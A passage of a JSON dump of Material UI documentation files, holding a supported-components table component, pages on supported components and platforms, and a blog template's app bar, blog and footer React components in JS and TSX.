    "content": "import Table from '@mui/material/Table';\nimport TableHead from '@mui/material/TableHead';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport { Link } from '@mui/docs/Link';\n\nconst components = [\n  {\n    name: 'Accordion',\n    materialUI: '/material-ui/react-accordion/',\n    materialDesign: 'https://m1.material.io/components/expansion-panels.html',\n  },\n  { name: 'Alert', materialUI: '/material-ui/react-alert' },\n  {\n    name: 'App Bar: top',\n    materialUI: '/material-ui/react-app-bar/',\n    materialDesign: 'https://m2.material.io/components/app-bars-top',\n  },\n  {\n    name: 'App Bar: bottom',\n    materialUI: '/material-ui/react-app-bar#bottom-app-bar',\n    materialDesign: 'https://m2.material.io/components/app-bars-bottom',\n  },\n  { name: 'Autocomplete', materialUI: '/material-ui/react-autocomplete' },\n  {\n    name: 'Banner',\n    materialUI: 'Composable',\n    materialDesign: 'https://m2.material.io/components/banners',\n  },\n  { name: 'Avatar', materialUI: '/material-ui/react-avatar' },\n  { name: 'Badge', materialUI: '/material-ui/react-badge' },\n  {\n    name: 'Bottom Navigation',\n    materialUI: '/material-ui/react-bottom-navigation/',\n    materialDesign: 'https://m2.material.io/components/bottom-navigation',\n  },\n  { name: 'Breadcrumbs', materialUI: '/material-ui/react-breadcrumbs' },\n  {\n    name: 'Button',\n    materialUI: '/material-ui/react-button/',\n    materialDesign: 'https://m2.material.io/components/buttons',\n  },\n  {\n    name: 'Floating Action Button',\n    materialDesign:\n      'https://m2.material.io/components/buttons-floating-action-button',\n    materialUI: '/material-ui/react-floating-action-button',\n  },\n  { name: 'Button Group', materialUI: '/material-ui/react-button-group' },\n  {\n    name: 'Card',\n    materialUI: '/material-ui/react-card/',\n    materialDesign: 'https://m2.material.io/components/cards',\n  },\n  {\n    name: 'Checkbox',\n    materialUI: '/material-ui/react-checkbox/',\n    materialDesign: 'https://m2.material.io/components/checkboxes',\n  },\n  {\n    name: 'Chip',\n    materialUI: '/material-ui/react-chip/',\n    materialDesign: 'https://m2.material.io/components/chips',\n  },\n  {\n    name: 'Data Grid',\n    materialUI: '/x/react-data-grid/',\n    materialDesign: 'https://m2.material.io/components/data-tables',\n  },\n  {\n    name: 'Date Pickers',\n    materialUI: '/x/react-date-pickers/',\n    materialDesign: 'https://m2.material.io/components/date-pickers',\n  },\n  {\n    name: 'Dialog',\n    materialUI: '/material-ui/react-dialog/',\n    materialDesign: 'https://m2.material.io/components/dialogs',\n  },\n  {\n    name: 'Divider',\n    materialUI: '/material-ui/react-divider/',\n    materialDesign: 'https://m2.material.io/components/dividers',\n  },\n  {\n    name: 'Drawer',\n    materialUI: '/material-ui/react-drawer/',\n    materialDesign: 'https://m2.material.io/components/navigation-drawer',\n  },\n  {\n    name: 'Icons',\n    materialUI: '/material-ui/icons/',\n    materialDesign: 'https://m2.material.io/design/iconography/system-icons.html',\n  },\n  {\n    name: 'Image List',\n    materialUI: '/material-ui/react-image-list/',\n    materialDesign: 'https://m2.material.io/components/image-lists',\n  },\n  { name: 'Link', materialUI: '/material-ui/react-link/' },\n  {\n    name: 'List',\n    materialUI: '/material-ui/react-list/',\n    materialDesign: 'https://m2.material.io/components/lists',\n  },\n  { name: 'Masonry', materialUI: '/material-ui/react-masonry/' },\n  {\n    name: 'Material Icons',\n    materialUI: '/material-ui/material-icons/',\n    materialDesign: 'https://fonts.google.com/icons',\n  },\n  {\n    name: 'Menu',\n    materialUI: '/material-ui/react-menu/',\n    materialDesign: 'https://m2.material.io/components/menus',\n  },\n  {\n    name: 'Modal',\n    materialUI: '/material-ui/react-modal/',\n    materialDesign: 'https://m2.material.io/components/dialogs',\n  },\n  {\n    name: 'Navigation Rail',\n    materialDesign: 'https://m2.material.io/components/navigation-rail',\n  },\n  {\n    name: 'Number Field',\n    materialUI: '/material-ui/react-number-field/',\n    baseUI: 'https://base-ui.com/react/components/number-field',\n  },\n  { name: 'Pagination', materialUI: '/material-ui/react-pagination/' },\n  {\n    name: 'Paper',\n    materialUI: '/material-ui/react-paper/',\n    materialDesign: 'https://m2.material.io/design/environment/elevation.html',\n  },\n  {\n    name: 'Progress',\n    materialUI: '/material-ui/react-progress/',\n    materialDesign: 'https://m2.material.io/components/progress-indicators',\n  },\n  {\n    name: 'Radio Group',\n    materialUI: '/material-ui/react-radio-button/',\n    materialDesign: 'https://m2.material.io/components/radio-buttons',\n  },\n  { name: 'Rating', materialUI: '/material-ui/react-rating/' },\n  {\n    name: 'Select',\n    materialUI: '/material-ui/react-select/',\n    materialDesign: 'https://m2.material.io/components/menus#exposed-dropdown-menu',\n  },\n  { name: 'Skeleton', materialUI: '/material-ui/react-skeleton/' },\n  {\n    name: 'Slider',\n    materialUI: '/material-ui/react-slider/',\n    materialDesign: 'https://m2.material.io/components/sliders',\n  },\n  {\n    name: 'Snackbar',\n    materialUI: '/material-ui/react-snackbar/',\n    materialDesign: 'https://m2.material.io/components/snackbars',\n  },\n  { name: 'Speed Dial', materialUI: '/material-ui/react-speed-dial' },\n  {\n    name: 'Stepper',\n    materialUI: '/material-ui/react-stepper/',\n    materialDesign: 'https://m1.material.io/components/steppers.html',\n  },\n  {\n    name: 'Switch',\n    materialUI: '/material-ui/react-switch/',\n    materialDesign: 'https://m2.material.io/components/switches',\n  },\n  {\n    name: 'Table',\n    materialUI: '/material-ui/react-table/',\n    materialDesign: 'https://m2.material.io/components/data-tables',\n  },\n  {\n    name: 'Tabs',\n    materialUI: '/material-ui/react-tabs/',\n    materialDesign: 'https://m2.material.io/components/tabs',\n  },\n  {\n    name: 'Text Field',\n    materialUI: '/material-ui/react-text-field/',\n    materialDesign: 'https://m2.material.io/components/text-fields',\n  },\n  { name: 'Timeline', materialUI: '/material-ui/react-timeline/' },\n  { name: 'Toggle Button', materialUI: '/material-ui/react-toggle-button/' },\n  {\n    name: 'Tooltip',\n    materialUI: '/material-ui/react-tooltip/',\n    materialDesign: 'https://m2.material.io/components/tooltips',\n  },\n  { name: 'Transfer List', materialUI: '/material-ui/react-transfer-list/' },\n  { name: 'Tree View', materialUI: '/x/react-tree-view/' },\n  {\n    name: 'Typography',\n    materialUI: '/material-ui/react-typography/',\n    materialDesign: 'https://m2.material.io/design/typography/the-type-system.html',\n  },\n];\n\nexport default function MaterialUIComponents() {\n  return (\n    <Paper sx={{ width: '100%' }}>\n      <Table>\n        <TableHead>\n          <TableRow>\n            <TableCell>Components</TableCell>\n            <TableCell>Material Design</TableCell>\n            <TableCell>Material UI</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {components.map((component) => (\n            <TableRow key={component.name}>\n              <TableCell>\n                <Typography variant=\"body2\">{component.name}</Typography>\n              </TableCell>\n              <TableCell>\n                {component.materialDesign ? (\n                  <Link\n                    variant=\"body2\"\n                    data-no-markdown-link=\"true\"\n                    href={component.materialDesign}\n                  >\n                    {component.materialDesign.substring(8, 10) === 'm1'\n                      ? 'MD 1 (legacy)'\n                      : 'MD 2'}\n                  </Link>\n                ) : (\n                  'No guidelines'\n                )}\n              </TableCell>\n              <TableCell>\n                {component.materialUI &&\n                component.materialUI.startsWith('/material-ui') &&\n                !component.baseUI ? (\n                  <Link\n                    variant=\"body2\"\n                    data-no-markdown-link=\"true\"\n                    href={component.materialUI}\n                  >\n                    Native support\n                  </Link>\n                ) : null}\n                {component.baseUI ? (\n                  <Link\n                    variant=\"body2\"\n                    data-no-markdown-link=\"true\"\n                    href={component.baseUI}\n                  >\n                    Composed with Base UI\n                  </Link>\n                ) : null}\n                {component.materialUI && component.materialUI.startsWith('/x') ? (\n                  <Link\n                    variant=\"body2\"\n                    data-no-markdown-link=\"true\"\n                    href={component.materialUI}\n                  >\n                    Support in MUI X\n                  </Link>\n                ) : null}\n                {component.materialUI === 'Composable' ? 'Composable' : null}\n                {component.materialUI == null ? '❌ No support' : null}\n              </TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/supported-components/supported-components.md",
    "content": "# Supported components\n\n<p class=\"description\">The following is a list of Material Design components & features.</p>\n\nWhile we strive to follow the Material Design guidelines where practical (applying\ncommon sense where guidelines contradict - a more common occurrence than\none might expect), we do not expect to support every component, nor every\nfeature of every component, but rather to provide the building blocks to\nallow developers to create compelling user interfaces and experiences.\n\nIf you wish to add support for a component or feature not highlighted\nhere, please search for the relevant [GitHub Issue](https://github.com/mui/material-ui/issues?q=is%3Aopen+is%3Aclosed), or create a new one\nto discuss the approach before submitting a pull request.\n\n{{\"demo\": \"MaterialUIComponents.js\", \"hideToolbar\": true, \"bg\": true}}\n"
  },
  {
    "path": "docs/data/material/getting-started/supported-platforms/supported-platforms.md",
    "content": "# Supported platforms\n\n<p class=\"description\">Learn about the platforms, from modern to old, that are supported by Material UI.</p>\n\n## Browser\n\nMaterial UI supports the latest, stable releases of all major browsers and platforms.\nYou don't need to provide any JavaScript polyfill as it manages unsupported browser features internally and in isolation.\n\n<!-- #stable-snapshot -->\n\n| Edge   | Firefox | Chrome | Safari (macOS) | Safari (iOS) |\n| :----- | :------ | :----- | :------------- | :----------- |\n| >= 121 | >= 121  | >= 117 | >= 17.0        | >= 17.0      |\n\n<!-- #target-branch-reference -->\n\nAn extensive list can be found in our [.browserlistrc](https://github.com/mui/material-ui/blob/-/.browserslistrc#L9-L188) (check the `stable` entry).\n\nBecause Googlebot uses a web rendering service (WRS) to index the page content, it's critical that Material UI supports it.\n[WRS regularly updates the rendering engine it uses](https://webmasters.googleblog.com/2019/05/the-new-evergreen-googlebot.html).\nYou can expect Material UI's components to render without major issues.\n\n## Server\n\n<!-- #stable-snapshot -->\n\nMaterial UI supports [Node.js](https://github.com/nodejs/node) starting with version 14.0 for server-side rendering.\nThe objective is to support Node.js down to the [last version in maintenance mode](https://github.com/nodejs/Release#release-schedule).\n\n## React\n\n<!-- #react-peer-version -->\n\nMaterial UI supports the most recent versions of React, starting with ^17.0.0 (the one with event delegation at the React root).\nHave a look at the older [versions](https://mui.com/versions/) for backward compatibility.\n\n## TypeScript\n\nMaterial UI requires a minimum version of TypeScript 4.9.\nThis aims to match the policy of [DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped), with the support of the versions of TypeScript that are less than two years old.\n\n## webpack\n\nThe minimum required version of webpack to bundle applications that use Material UI is v5. webpack <= v4 can't bundle Material UI untranspiled as it uses features such as the [null coalescing operator (`??`)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing) and [optional chaining (`?.`)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining).\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/Blog.js",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport Container from '@mui/material/Container';\nimport AppTheme from '../shared-theme/AppTheme';\nimport AppAppBar from './components/AppAppBar';\nimport MainContent from './components/MainContent';\nimport Latest from './components/Latest';\nimport Footer from './components/Footer';\n\nexport default function Blog(props) {\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n      <AppAppBar />\n      <Container\n        maxWidth=\"lg\"\n        component=\"main\"\n        sx={{ display: 'flex', flexDirection: 'column', my: 16, gap: 4 }}\n      >\n        <MainContent />\n        <Latest />\n      </Container>\n      <Footer />\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/Blog.tsx",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport Container from '@mui/material/Container';\nimport AppTheme from '../shared-theme/AppTheme';\nimport AppAppBar from './components/AppAppBar';\nimport MainContent from './components/MainContent';\nimport Latest from './components/Latest';\nimport Footer from './components/Footer';\n\nexport default function Blog(props: { disableCustomTheme?: boolean }) {\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n\n      <AppAppBar />\n      <Container\n        maxWidth=\"lg\"\n        component=\"main\"\n        sx={{ display: 'flex', flexDirection: 'column', my: 16, gap: 4 }}\n      >\n        <MainContent />\n        <Latest />\n      </Container>\n      <Footer />\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/README.md",
    "content": "# Blog template\n\n## Usage\n\n<!-- #target-branch-reference -->\n\n1. Copy these folders (`blog` and `shared-theme`) into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).\n2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react, markdown-to-jsx.\n3. Import and use the `Blog` component.\n\n## Demo\n\n<!-- #host-reference -->\n\nView the demo at https://next.mui.com/material-ui/getting-started/templates/blog/.\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/components/AppAppBar.js",
    "content": "import * as React from 'react';\nimport { alpha, styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport MenuItem from '@mui/material/MenuItem';\nimport Drawer from '@mui/material/Drawer';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport CloseRoundedIcon from '@mui/icons-material/CloseRounded';\nimport ColorModeIconDropdown from '../../shared-theme/ColorModeIconDropdown';\nimport Sitemark from './SitemarkIcon';\n\nconst StyledToolbar = styled(Toolbar)(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'space-between',\n  flexShrink: 0,\n  borderRadius: `calc(${theme.shape.borderRadius}px + 8px)`,\n  backdropFilter: 'blur(24px)',\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.divider,\n  backgroundColor: theme.vars\n    ? `rgba(${theme.vars.palette.background.defaultChannel} / 0.4)`\n    : alpha(theme.palette.background.default, 0.4),\n  boxShadow: (theme.vars || theme).shadows[1],\n  padding: '8px 12px',\n}));\n\nexport default function AppAppBar() {\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen) => () => {\n    setOpen(newOpen);\n  };\n\n  return (\n    <AppBar\n      position=\"fixed\"\n      enableColorOnDark\n      sx={{\n        boxShadow: 0,\n        bgcolor: 'transparent',\n        backgroundImage: 'none',\n        mt: 'calc(var(--template-frame-height, 0px) + 28px)',\n      }}\n    >\n      <Container maxWidth=\"lg\">\n        <StyledToolbar variant=\"dense\" disableGutters>\n          <Box sx={{ flexGrow: 1, display: 'flex', alignItems: 'center', px: 0 }}>\n            <Sitemark />\n            <Box sx={{ display: { xs: 'none', md: 'flex' } }}>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Features\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Testimonials\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Highlights\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Pricing\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\" sx={{ minWidth: 0 }}>\n                FAQ\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\" sx={{ minWidth: 0 }}>\n                Blog\n              </Button>\n            </Box>\n          </Box>\n          <Box\n            sx={{\n              display: { xs: 'none', md: 'flex' },\n              gap: 1,\n              alignItems: 'center',\n            }}\n          >\n            <Button color=\"primary\" variant=\"text\" size=\"small\">\n              Sign in\n            </Button>\n            <Button color=\"primary\" variant=\"contained\" size=\"small\">\n              Sign up\n            </Button>\n            <ColorModeIconDropdown />\n          </Box>\n          <Box sx={{ display: { xs: 'flex', md: 'none' }, gap: 1 }}>\n            <ColorModeIconDropdown size=\"medium\" />\n            <IconButton aria-label=\"Menu button\" onClick={toggleDrawer(true)}>\n              <MenuIcon />\n            </IconButton>\n            <Drawer\n              anchor=\"top\"\n              open={open}\n              onClose={toggleDrawer(false)}\n              slotProps={{\n                paper: {\n                  sx: {\n                    top: 'var(--template-frame-height, 0px)',\n                  },\n                },\n              }}\n            >\n              <Box sx={{ p: 2, backgroundColor: 'background.default' }}>\n                <Box\n                  sx={{\n                    display: 'flex',\n                    justifyContent: 'flex-end',\n                  }}\n                >\n                  <IconButton onClick={toggleDrawer(false)}>\n                    <CloseRoundedIcon />\n                  </IconButton>\n                </Box>\n                <MenuItem>Features</MenuItem>\n                <MenuItem>Testimonials</MenuItem>\n                <MenuItem>Highlights</MenuItem>\n                <MenuItem>Pricing</MenuItem>\n                <MenuItem>FAQ</MenuItem>\n                <MenuItem>Blog</MenuItem>\n                <Divider sx={{ my: 3 }} />\n                <MenuItem>\n                  <Button color=\"primary\" variant=\"contained\" fullWidth>\n                    Sign up\n                  </Button>\n                </MenuItem>\n                <MenuItem>\n                  <Button color=\"primary\" variant=\"outlined\" fullWidth>\n                    Sign in\n                  </Button>\n                </MenuItem>\n              </Box>\n            </Drawer>\n          </Box>\n        </StyledToolbar>\n      </Container>\n    </AppBar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/components/AppAppBar.tsx",
    "content": "import * as React from 'react';\nimport { alpha, styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport MenuItem from '@mui/material/MenuItem';\nimport Drawer from '@mui/material/Drawer';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport CloseRoundedIcon from '@mui/icons-material/CloseRounded';\nimport ColorModeIconDropdown from '../../shared-theme/ColorModeIconDropdown';\nimport Sitemark from './SitemarkIcon';\n\nconst StyledToolbar = styled(Toolbar)(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'space-between',\n  flexShrink: 0,\n  borderRadius: `calc(${theme.shape.borderRadius}px + 8px)`,\n  backdropFilter: 'blur(24px)',\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.divider,\n  backgroundColor: theme.vars\n    ? `rgba(${theme.vars.palette.background.defaultChannel} / 0.4)`\n    : alpha(theme.palette.background.default, 0.4),\n  boxShadow: (theme.vars || theme).shadows[1],\n  padding: '8px 12px',\n}));\n\nexport default function AppAppBar() {\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen: boolean) => () => {\n    setOpen(newOpen);\n  };\n\n  return (\n    <AppBar\n      position=\"fixed\"\n      enableColorOnDark\n      sx={{\n        boxShadow: 0,\n        bgcolor: 'transparent',\n        backgroundImage: 'none',\n        mt: 'calc(var(--template-frame-height, 0px) + 28px)',\n      }}\n    >\n      <Container maxWidth=\"lg\">\n        <StyledToolbar variant=\"dense\" disableGutters>\n          <Box sx={{ flexGrow: 1, display: 'flex', alignItems: 'center', px: 0 }}>\n            <Sitemark />\n            <Box sx={{ display: { xs: 'none', md: 'flex' } }}>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Features\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Testimonials\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Highlights\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Pricing\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\" sx={{ minWidth: 0 }}>\n                FAQ\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\" sx={{ minWidth: 0 }}>\n                Blog\n              </Button>\n            </Box>\n          </Box>\n          <Box\n            sx={{\n              display: { xs: 'none', md: 'flex' },\n              gap: 1,\n              alignItems: 'center',\n            }}\n          >\n            <Button color=\"primary\" variant=\"text\" size=\"small\">\n              Sign in\n            </Button>\n            <Button color=\"primary\" variant=\"contained\" size=\"small\">\n              Sign up\n            </Button>\n            <ColorModeIconDropdown />\n          </Box>\n          <Box sx={{ display: { xs: 'flex', md: 'none' }, gap: 1 }}>\n            <ColorModeIconDropdown size=\"medium\" />\n            <IconButton aria-label=\"Menu button\" onClick={toggleDrawer(true)}>\n              <MenuIcon />\n            </IconButton>\n            <Drawer\n              anchor=\"top\"\n              open={open}\n              onClose={toggleDrawer(false)}\n              slotProps={{\n                paper: {\n                  sx: {\n                    top: 'var(--template-frame-height, 0px)',\n                  },\n                },\n              }}\n            >\n              <Box sx={{ p: 2, backgroundColor: 'background.default' }}>\n                <Box\n                  sx={{\n                    display: 'flex',\n                    justifyContent: 'flex-end',\n                  }}\n                >\n                  <IconButton onClick={toggleDrawer(false)}>\n                    <CloseRoundedIcon />\n                  </IconButton>\n                </Box>\n                <MenuItem>Features</MenuItem>\n                <MenuItem>Testimonials</MenuItem>\n                <MenuItem>Highlights</MenuItem>\n                <MenuItem>Pricing</MenuItem>\n                <MenuItem>FAQ</MenuItem>\n                <MenuItem>Blog</MenuItem>\n                <Divider sx={{ my: 3 }} />\n                <MenuItem>\n                  <Button color=\"primary\" variant=\"contained\" fullWidth>\n                    Sign up\n                  </Button>\n                </MenuItem>\n                <MenuItem>\n                  <Button color=\"primary\" variant=\"outlined\" fullWidth>\n                    Sign in\n                  </Button>\n                </MenuItem>\n              </Box>\n            </Drawer>\n          </Box>\n        </StyledToolbar>\n      </Container>\n    </AppBar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/components/Footer.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport InputLabel from '@mui/material/InputLabel';\nimport Link from '@mui/material/Link';\nimport Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport LinkedInIcon from '@mui/icons-material/LinkedIn';\nimport TwitterIcon from '@mui/icons-material/X';\nimport SitemarkIcon from './SitemarkIcon';\n\nfunction Copyright() {\n  return (\n    <Typography variant=\"body2\" sx={{ color: 'text.secondary', mt: 1 }}>\n      {'Copyright © '}\n      <Link\n        href=\"https://mui.com/\"\n        sx={{\n          color: 'text.secondary',\n        }}\n      >\n        Sitemark\n      </Link>\n      &nbsp;\n      {new Date().getFullYear()}\n    </Typography>\n  );\n}\n\nexport default function Footer() {\n  return (\n    <React.Fragment>\n      <Divider />\n      <Container\n        sx={{\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n          gap: { xs: 4, sm: 8 },\n          py: { xs: 8, sm: 10 },\n          textAlign: { sm: 'center', md: 'left' },\n        }}\n      >\n        <Box\n          sx={{\n            display: 'flex',\n            flexDirection: { xs: 'column', sm: 'row' },\n            width: '100%',\n            justifyContent: 'space-between',\n          }}\n        >\n          <Box\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              gap: 4,\n              minWidth: { xs: '100%', sm: '60%' },\n            }}\n          >\n            <Box sx={{ width: { xs: '100%', sm: '60%' } }}>\n              <SitemarkIcon />\n              <Typography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ fontWeight: 600, mt: 2 }}\n              >\n                Join the newsletter\n              </Typography>\n              <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 2 }}>\n                Subscribe for weekly updates. No spams ever!\n              </Typography>\n              <InputLabel htmlFor=\"email-newsletter\">Email</InputLabel>\n              <Stack direction=\"row\" spacing={1} useFlexGap>\n                <TextField\n                  id=\"email-newsletter\"\n                  hiddenLabel\n                  size=\"small\"\n                  variant=\"outlined\"\n                  fullWidth\n                  aria-label=\"Enter your email address\"\n                  placeholder=\"Your email address\"\n                  slotProps={{\n                    htmlInput: {\n                      autoComplete: 'off',\n                      'aria-label': 'Enter your email address',\n                    },\n                  }}\n                  sx={{ width: '250px' }}\n                />\n                <Button\n                  variant=\"contained\"\n                  color=\"primary\"\n                  size=\"small\"\n                  sx={{ flexShrink: 0 }}\n                >\n                  Subscribe\n                </Button>\n              </Stack>\n            </Box>\n          </Box>\n          <Box\n            sx={{\n              display: { xs: 'none', sm: 'flex' },\n              flexDirection: 'column',\n              gap: 1,\n            }}\n          >\n            <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n              Product\n            </Typography>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Features\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Testimonials\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Highlights\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Pricing\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              FAQs\n            </Link>\n          </Box>\n          <Box\n            sx={{\n              display: { xs: 'none', sm: 'flex' },\n              flexDirection: 'column',\n              gap: 1,\n            }}\n          >\n            <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n              Company\n            </Typography>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              About us\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Careers\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Press\n            </Link>\n          </Box>\n          <Box\n            sx={{\n              display: { xs: 'none', sm: 'flex' },\n              flexDirection: 'column',\n              gap: 1,\n            }}\n          >\n            <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n              Legal\n            </Typography>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Terms\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Privacy\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Contact\n            </Link>\n          </Box>\n        </Box>\n        <Box\n          sx={{\n            display: 'flex',\n            justifyContent: 'space-between',\n            pt: { xs: 4, sm: 8 },\n            width: '100%',\n            borderTop: '1px solid',\n            borderColor: 'divider',\n          }}\n        >\n          <div>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Privacy Policy\n            </Link>\n            <Typography sx={{ display: 'inline', mx: 0.5, opacity: 0.5 }}>\n              &nbsp;•&nbsp;\n            </Typography>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Terms of Service\n            </Link>\n            <Copyright />\n          </div>\n          <Stack\n            direction=\"row\"\n            spacing={1}\n            useFlexGap\n            sx={{ justifyContent: 'left', color: 'text.secondary' }}\n          >\n            <IconButton\n              color=\"inherit\"\n              size=\"small\"\n              href=\"https://github.com/mui\"\n              aria-label=\"GitHub\"\n              sx={{ alignSelf: 'center' }}\n            >\n              <GitHubIcon />\n            </IconButton>\n            <IconButton\n              color=\"inherit\"\n              size=\"small\"\n              href=\"https://x.com/MaterialUI\"\n              aria-label=\"X\"\n              sx={{ alignSelf: 'center' }}\n            >\n              <TwitterIcon />\n            </IconButton>\n            <IconButton\n              color=\"inherit\"\n              size=\"small\"\n              href=\"https://www.linkedin.com/company/mui/\"\n              aria-label=\"LinkedIn\"\n              sx={{ alignSelf: 'center' }}\n            >\n              <LinkedInIcon />\n            </IconButton>\n          </Stack>\n        </Box>\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/components/Footer.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport InputLabel from '@mui/material/InputLabel';\nimport Link from '@mui/material/Link';\nimport Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport LinkedInIcon from '@mui/icons-material/LinkedIn';\nimport TwitterIcon from '@mui/icons-material/X';\nimport SitemarkIcon from './SitemarkIcon';\n\nfunction Copyright() {\n  return (\n    <Typography variant=\"body2\" sx={{ color: 'text.secondary', mt: 1 }}>\n      {'Copyright © '}\n      <Link\n        href=\"https://mui.com/\"\n        sx={{\n          color: 'text.secondary',\n        }}\n      >\n        Sitemark\n      </Link>\n      &nbsp;\n      {new Date().getFullYear()}\n    </Typography>\n  );\n}\n\nexport default function Footer() {\n  return (\n    <React.Fragment>\n      <Divider />\n      <Container\n        sx={{\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n          gap: { xs: 4, sm: 8 },\n          py: { xs: 8, sm: 10 },\n          textAlign: { sm: 'center', md: 'left' },\n        }}\n      >\n        <Box\n          sx={{\n            display: 'flex',\n            flexDirection: { xs: 'column', sm: 'row' },\n            width: '100%',\n            justifyContent: 'space-between',\n          }}\n        >\n          <Box\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              gap: 4,\n              minWidth: { xs: '100%', sm: '60%' },\n            }}\n          >\n            <Box sx={{ width: { xs: '100%', sm: '60%' } }}>\n              <SitemarkIcon />\n              <Typography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ 